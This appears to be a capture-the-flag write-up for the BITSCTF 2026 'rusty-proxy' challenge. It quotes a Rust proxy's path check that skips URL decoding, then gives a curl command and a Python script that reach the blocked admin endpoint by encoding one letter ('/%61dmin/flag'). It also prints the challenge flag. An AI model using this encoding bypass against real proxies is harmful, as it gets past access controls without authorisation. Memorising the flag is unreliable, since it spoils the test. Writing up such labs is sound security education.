LIGHT@2026
GMT+5:30 IST --:--:--
← BACK TO WRITEUPS
89 words
1 minute
BITSCTF 2026 - rusty-proxy - Web Exploitation Writeup

[!NOTE] CTF CHALLENGE OVERVIEW

  • CTF Event: BITSCTF 2026
  • Category: Writeup
  • Difficulty: [MEDIUM]
  • Tools Used: Python 3
  • Author / Writeup: LIGHT

Category: Web Exploitation

Flag: BITSCTF{tr4il3r_p4r51n6_15_p41n_1n_7h3_4hh}

Challenge Description#

Rust reverse proxy with Flask backend. Remote: http://rusty-proxy.chals.bitskrieg.in:25001

Analysis#

Proxy ACL in main.rs:

fn is_path_allowed(path: &str) -> bool {
let normalized = path.to_lowercase();
if normalized.starts_with("/admin") {
return false;
}
true
}

The proxy checks the raw request path without URL decoding. Flask decodes %61a.

Exploitation#

curl "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"

/%61dmin/flag passes proxy check (doesn’t start with /admin), but Flask receives /admin/flag.

Or using Python:

#!/usr/bin/env python3
import requests
URL = "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"
r = requests.get(URL, timeout=10)
data = r.json()
print(f"Flag: {data.get('flag')}")
BITSCTF 2026 - rusty-proxy - Web Exploitation Writeup
Author
Light
Published at
2026-02-22
License
CC BY-NC-SA 4.0